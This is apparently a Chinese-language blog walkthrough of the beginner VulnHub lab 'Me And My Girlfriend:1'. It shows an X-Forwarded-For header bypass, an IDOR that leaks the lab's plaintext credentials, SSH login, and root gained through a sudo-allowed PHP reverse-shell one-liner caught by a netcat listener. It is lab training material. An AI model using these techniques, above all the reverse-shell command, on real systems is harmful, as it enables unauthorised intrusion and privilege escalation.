【Vulnhub】Me And My Girlfriend--Workthourgh

Catalogue
  1. 1. 【Vulnhub】Me And My Girlfriend:1–Workthourgh
    1. 1.1. 靶机信息
    2. 1.2. 用到的知识&工具
    3. 1.3. 渗透过程

【Vulnhub】Me And My Girlfriend:1–Workthourgh

文章作者:kn0sky

作者博客:kn0sky.com

本来想下载新的靶机去玩的,无奈下载速度太慢,无意间发现去年下载的没打过的靶机,是个简单难度的,刚好挺久没练习了,有点生疏了拿来练练手,耗时:2小时

靶机信息

1
2
3
4
5
6
7
8
9
10
11
Date release: 13 Dec 2019
Author: TW1C3
Series: Me and My Girlfriend

Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, "Ceban Corp", something has changed from Alice's attitude towards Bob like something is "hidden", And Bob asks for your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

用到的知识&工具

  • nmap&主机发现、端口扫描
  • burp&修改请求包信息
  • sudo -l查看权限
  • php反弹shell

渗透过程

攻击机的IP地址为192.168.101.5

靶机的IP地址为192.168.101.4

先端口扫描

image-20200520163545755

目标开放了22端口和80端口

查看80端口

image-20200520164618303

看起来像个提示,等会再说,先进行目录爆破看看,得到几个可以访问的地址

image-20200520164704590

在robots.txt文件里找到如下内容:

1
2
User-Agent: *
Allow: /heyhoo.txt

访问这个地址:

image-20200520164822736

看起来又是个提示

这个网站主页上说,网站只能从内部访问,这里猜测服务器通过IP地址来判断访问者来源,那么我们在访问请求中添加XFF头来试一试:X-Forwarded-For:127.0.0.1

image-20200520175517452

网站成功跳转了(这里注意,每次发送请求都需要把XFF头加上),成功进入网站主页:

image-20200520175705133

浏览一番发现,网站存在用户名密码泄露的问题,这里我们通过注册功能注册一个账号,然后登录进入,进入profile页面如下:

image-20200520175929238

在这个页面刷新,用Burp抓包,把抓到的包放到repeater模块中

image-20200520180051559

可以轻易发现,我们的账号密码在网页中是以明文保存的,这个时候我们修改请求中的user_id参数,可以发现,不同的user_id的值代表不同的用户信息(账号&密码)

通过不断修改user_id的值我们可以得到如下用户名和密码:

1
2
3
4
5
eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3

拿到了目标Alice的账号密码,ssh登录服务器看看:

image-20200520180431376

登陆成功,且在alice的主目录下找到了flag1

以及emmmm,alice不喜欢bob了???算了,管他呢

1
2
alice@gfriEND:~/.my_secret$ cat my_notes.txt 
Woahhh! I like this company, I hope that here i get a better partner than bob ^_^, hopefully Bob doesn't know my notes

下一步是拿到root权限,先查看一下Alice账号的权限吧:

1
2
3
4
5
6
alice@gfriEND:~/.my_secret$ sudo -l
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php

alice可以免密码使用root权限执行php命令,这就好办了,思路是通过root权限执行php反弹shell到攻击机上

先在攻击机上运行nc来监听

1
2
root@windows7:~# nc -nvlp 7788
listening on [any] 7788 ...

然后使用alice 的账号运行php反弹shell

1
alice@gfriEND:~/.my_secret$ sudo php -r '$sock=fsockopen("192.168.101.5",7788);exec("/bin/sh -i <&3 >&3 2>&3");'

这个时候我们拿到了反弹的shell:

1
2
3
4
5
root@windows7:~# nc -nvlp 7788
listening on [any] 7788 ...
connect to [192.168.101.5] from (UNKNOWN) [192.168.101.4] 43264
# whoami
root

既然已经提权到root了,直接去root目录找flag

image-20200520182436014

到此正式结束